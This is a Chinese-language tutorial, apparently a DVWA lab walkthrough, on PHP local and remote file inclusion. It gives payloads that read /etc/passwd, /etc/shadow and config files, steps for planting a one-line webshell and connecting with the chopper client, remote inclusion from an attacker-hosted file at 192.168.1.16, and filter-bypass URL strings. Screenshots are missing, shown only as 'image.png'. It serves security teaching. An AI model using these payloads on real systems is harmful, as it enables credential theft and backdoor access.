文件包含渗透

一、原理及危害

  • 文件包含漏洞:即File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数 include(),require() 和 include_once(),require_once() 利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。
  1. 文件包含(File Inclusion)即程序通过[包含函数]调用本地或远程文件,以此来实现拓展功能
  2. 被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞
  3. 文件包含漏洞主要发生在有包含语句的环境中,例如PHP所具备include、require等包含函数
  • 文件包含分为两类:
  1. 本地文件包含LFI(Local File Inclusion) 当被包含的文件在服务器本地时,就形成本地文件包含
  2. 远程文件包含RFI(Remote File Inclusion) 当被包含的文件在第三方服务器时,叫做远程文件包含

二、低安全级别渗透

image.png

image.png

1. 本地文件包含

  • 访问本地系统账号信息及其它敏感信息:
    /?page=/etc/passwd
    /?page=/etc/shadow
    /?page=/etc/php5/apache2/php.ini
    /?page=/etc/mysql/my.cnf
    /?page=/etc/apache2/apache2.conf


    image.png

2. 本地文件包含+webshell (参考实验三)

  1. 制作一句话图片木马
    ')?>
  2. 上传图片木马文件
  3. 执行文件包含并生成后门
  4. 通过菜刀连接webshell

dvwa文件上传访问的目录: /var/www/dvwa/hackable/uploads
dvwa文件包含访问的目录: /var/www/dvwa/vulnerabilities/fi

3. 远程文件包含+webshell

  • 建立远程服务器,我使用kali作为远程服务器


    image.png
root@kali:~# systemctl start apache2
root@kali:~# vim /var/www/html/test.txt
root@kali:~# cat /var/www/html/test.txt
')?> 
  • 访问测试:


    image.png
  • 复制链接到OWASP此处访问:


    image.png
  • 生成文件


    image.png
  • zg菜刀添加


    image.png
image.png

三、 中安全级别渗透

image.png

1. 本地文件包含

同低级别一样,仍然能执行低级别的漏洞利用

2. 本地文件包含+webshell

同低级别一样

3. 远程文件包含+webshell

  • 删除前面生成的kalitest.php


    image.png
  • 复制链接到OWASP此处访问:


    image.png
  • 没有生成kalitest.php文件


    image.png
  • 因为配置文件中把 http:/ /和 https:// 替换为空白所以我们访问 ?page=http://192.168.1.16/test.txt 相当于访问 ?page=192.168.1.16/test.txt 所以无法成功 那么我们可以采用别的方式绕过,例如:httphttp://://192.168.1.16/test.txt
    http:/http:///192.168.1.16/test.txt
    等等 都可以实现
  • 测试


    image.png
  • 生成了文件


    image.png
  • 然后可以使用zg菜刀等工具添加配置

四、高安全级别渗透

image.png

你可能感兴趣的:(文件包含渗透)